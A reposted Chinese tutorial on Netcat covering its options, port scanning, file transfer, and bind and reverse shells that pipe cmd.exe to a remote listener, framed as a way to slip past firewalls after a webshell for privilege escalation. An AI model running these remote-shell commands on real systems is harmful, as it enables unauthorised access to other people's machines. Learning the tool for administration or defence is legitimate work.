当前位置: 首页 > news >正文

科普:Netcat使用手册

2019独角兽企业重金招聘Python工程师标准>>> hot3.png

在网络工具中有“瑞士军刀”美誉的NetCat(以下简称nc),在我们用了N年了至今仍是爱不释手。因为它短小精悍(这个用在它身上很适合,现在有人已经将其修改成大约10K左右,而且功能不减少)

参数格式

连接到某处:

nc [-options] hostname port[s] [ports] …

监听端口等待连接:

nc -l -p port [-options] [hostname] [port]

主要参数:

options:

 

-d              无命令行界面,使用后台模式

 

-e prog          程序重定向 [危险!!]

 

-g gateway       源路由跳跃点, 不超过8

 

-G num          源路由指示器: 4, 8, 12, ...

 

-h              获取帮助信息

 

-i secs           延时设置,端口扫描时使用

 

-l               监听入站信息

 

-L              监听知道NetCat被结束(可断开重连)

 

-n              以数字形式表示的IP地址

 

-o file           使进制记录

 

-p port          打开本地端口

 

-r               随机本地和远程的端口

 

-s addr          本地源地址

 

-t               以TELNET的形式应答入站请求

 

-u              UDP 模式

 

-v               显示详细信息 [使用=vv获取更详细的信息]

 

-w secs          连接超时设置

 

-z               I/O 模式 [扫描时使用]

 

端口号可以是单个的或者存在一个范围: m-n [包含值]。

主要用途

一般我们使用netcat做的最多的事情为以下三种:

1、  扫描指定IP端口情况

2、  端口转发数据(重点)

3、提交自定义数据包

1、扫描常用命令。

 

下载地址:

https://eternallybored.org/misc/netcat/

以下IP 处可以使用域名,nc会调用NDS解析成IP地址。

【命令】nc -v ip port

【例如】nc -v 96.44.174.9 80

【解释】扫瞄某 IP 的某个端口,返回端口信息详细输出。

【命令】nc -v -z ip port-port

【例如】nc -v -z 96.44.174.9 80-1024

【解释】扫描某IP的端口段,返回端口信息详细输出,但扫描速度很慢。

【命令】nc -v -z -u ip  port-port

【例如】nc -v -z -u 96.44.174.9 25-1024

【解释】扫描某 IP 的某 UDP 端口段,返回端口信息详细输出,但扫描速度很慢。

【命令】nc -nvv -w2 -z ip port-port

【例如】nc -nvv -w2 -z 96.44.174.9 80-1024

【解释】扫锚某IP的端口段,连接超时时间为2秒。

实例:

总结:使用nc扫描速度真的不敢恭维,而且对于扫描主机存活、端口等还是交给更专业的nmap来进行,物尽其用才是硬道理,这里全当科普。

2、监听端口、连接端口、转发端口常用命令。

【命令】nc -l -p 520

【解释】开启本机的 TCP 520 端口并监听次端口的上传输的数据。

【命令】nc -l -v -p 520

【解释】开启本机的 TCP 520 端口并将监听到的信息输出到当前 CMD 窗口。这个命令也是端口转发shell的基础。

【命令】nc -l -p 520 > C:/log.dat

【解释】开启本机的 TCP 520 端口并将监听到的信息输出到 C:/log.dat 下的日志文件里。

【命令】nc -nvv 192.168.1.101 520

【解释】连接到192.168.1.101主机的 520。

重点一(正向连接):

【远程运行】nc -l -p 2012 -t -e C:WINDOWSsystem32cmd.exe

【本地运行】nc -nvv 192.168.1.101 2012

【解释】采用正向连接方式,远程主机(注:假设IP地址为 192.168.1.101)上运行 nc -l -p 2012 -t -e cmd.exe 意为绑定远程主机的 CMD 到2012 端口,当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell ;在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012 端口的远程主机(注:假设IP地址为 192.168.1.101)。

重点二(反向连接):

【本地运行】nc -l –vv -p 2012

【远程运行】nc -t -e C:WINDOWSsystem32cmd.exe 192.168.1.102 2012

【解释】采用反向连接方式,先在本地主机(拥有公网IP)运行 nc -l –vv -p 2012 开启2012 端口并监听等待远程主机连接;在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上,连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD Shell。

总结:这个情况是最常用的内网端口转发功能,这样反弹shell即可执行命令。反向连接就是常用的反弹shell到本地,因为由主机主动发送的情况本地防火墙等设备一般不会去拦截,而正向连接到远程主机的某端口常常被拦截。

实例:

(上面一个cmd是公网IP主机,下图为笔者本地主机,可以通过目录看到shell可执行命令)

4、提交数据、文件传输常用命令

【命令】nc -vv www.91ri.org port < C:/http.txt

【例如】nc -vv www.91ri.org 80 < C:/http.txt(实测写为C:\http.txt也可以)

【解释】提交http.txt内数据包到www.91ri.org的80端口,-vv参数会使速度变慢,但可以跟踪过程。例如IISput漏洞就可以自定义数据包使用此方法提交。

【命令1】nc -v -n ip port < C:/sunzn.exe

【命令2】nc -v -l -p port > D:/sunzn.exe

【解释】在本地运行 nc -v -n ip port < C:/sunzn.exe 意为从本地 C 盘根目录中读取 sunzn.exe 文件的内容,并把这些数据发送到远程主机的对应端口上(注:命令行中的 IP 为接收文件的远程主机 IP ),在远程主机运行 nc -v -l -p port > D:/sunzn.exe 意为监听对应端口并把接收到的信息数据写到 D:/sunzn.exe 中,两行命令实现了文件在本地主机和远程主机间的传输。

传输http数据包实例:

Linux环境下netcat使用

好东西肯定需要在不同的环境中都能使用,在linux环境中同样有着netcat可以使用。主要过程如下。

Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。

主要步骤:

我使用的是CentOS,通过rpm包安装

1、wget一个rpm包

 

wget -c ftp://ftp.pbone.net/mirror/ftp5.gwdg.de/pub/opensuse/repositories/home:/assmannst/RHEL_5/x86_64/netcat-1.10-891.3.x86_64.rpm

2、安装

rpm -Uivh netcat-1.10-891.3.x86_64.rpm

 

如果要支持其他linux系统,请点击这里下载:

http://rpm.pbone.net/index.php3?stat=3&search=netcat&srodzaj=3

 

 

 

 

 

 

 

 

 

转载于:https://my.oschina.net/ososchina/blog/863418

相关文章:

  • 磁化强度
  • rpc 理解
  • spark使用
  • 基于 html5的 jquery 轮播插件 flickerplate
  • 定义运算符
  • [转]ZooKeeper 集群环境搭建 (本机3个节点)
  • https://wiki.jenkins-ci.org/display/JENKINS/Installing+Jenkins
  • 《大学章句》光剑续编
  • 犀牛Phinoceros 如何切换中文语言
  • Spring4-EL中正则表达式的使用
  • web开发之Cookie使用
  • Python之Seaborn
  • php5.6源码安装及php-fpm配置与nginx集成
  • Hibernate(1)
  • 史上最详细 VUE2.0 全套 demo 讲解 基础3(计算属性)
  • 【css3】浏览器内核及其兼容性
  • 【腾讯Bugly干货分享】从0到1打造直播 App
  • 【跃迁之路】【733天】程序员高效学习方法论探索系列(实验阶段490-2019.2.23)...
  • Effective Java 笔记(一)
  • idea + plantuml 画流程图
  • javascript 总结(常用工具类的封装)
  • JavaScript函数式编程(一)
  • macOS 中 shell 创建文件夹及文件并 VS Code 打开
  • MySQL常见的两种存储引擎:MyISAM与InnoDB的爱恨情仇
  • Three.js 再探 - 写一个跳一跳极简版游戏
  • TypeScript实现数据结构(一)栈,队列,链表
  • unity如何实现一个固定宽度的orthagraphic相机
  • Vue学习第二天
  • windows-nginx-https-本地配置
  • 反思总结然后整装待发
  • 猴子数据域名防封接口降低小说被封的风险
  • 基于webpack 的 vue 多页架构
  • 可能是历史上最全的CC0版权可以免费商用的图片网站
  • 如何优雅的使用vue+Dcloud(Hbuild)开发混合app
  • 适配iPhoneX、iPhoneXs、iPhoneXs Max、iPhoneXr 屏幕尺寸及安全区域
  • 用quicker-worker.js轻松跑一个大数据遍历
  • 鱼骨图 - 如何绘制?
  • 最简单的无缝轮播
  • d²y/dx²; 偏导数问题 请问f1 f2是什么意思
  • gunicorn工作原理
  • 阿里云ACE认证学习知识点梳理
  • 支付宝花15年解决的这个问题,顶得上做出十个支付宝 ...
  • ​【C语言】长篇详解,字符系列篇3-----strstr,strtok,strerror字符串函数的使用【图文详解​】
  • ​软考-高级-系统架构设计师教程(清华第2版)【第1章-绪论-思维导图】​
  • (多级缓存)缓存同步
  • (分类)KNN算法- 参数调优
  • (附源码)计算机毕业设计SSM智能化管理的仓库管理
  • (转)树状数组
  • * CIL library *(* CIL module *) : error LNK2005: _DllMain@12 already defined in mfcs120u.lib(dllmodu
  • .htaccess配置常用技巧
  • .Net IE10 _doPostBack 未定义
  • .net php 通信,flash与asp/php/asp.net通信的方法
  • .NET 跨平台图形库 SkiaSharp 基础应用
  • .NET 药厂业务系统 CPU爆高分析
  • @PreAuthorize注解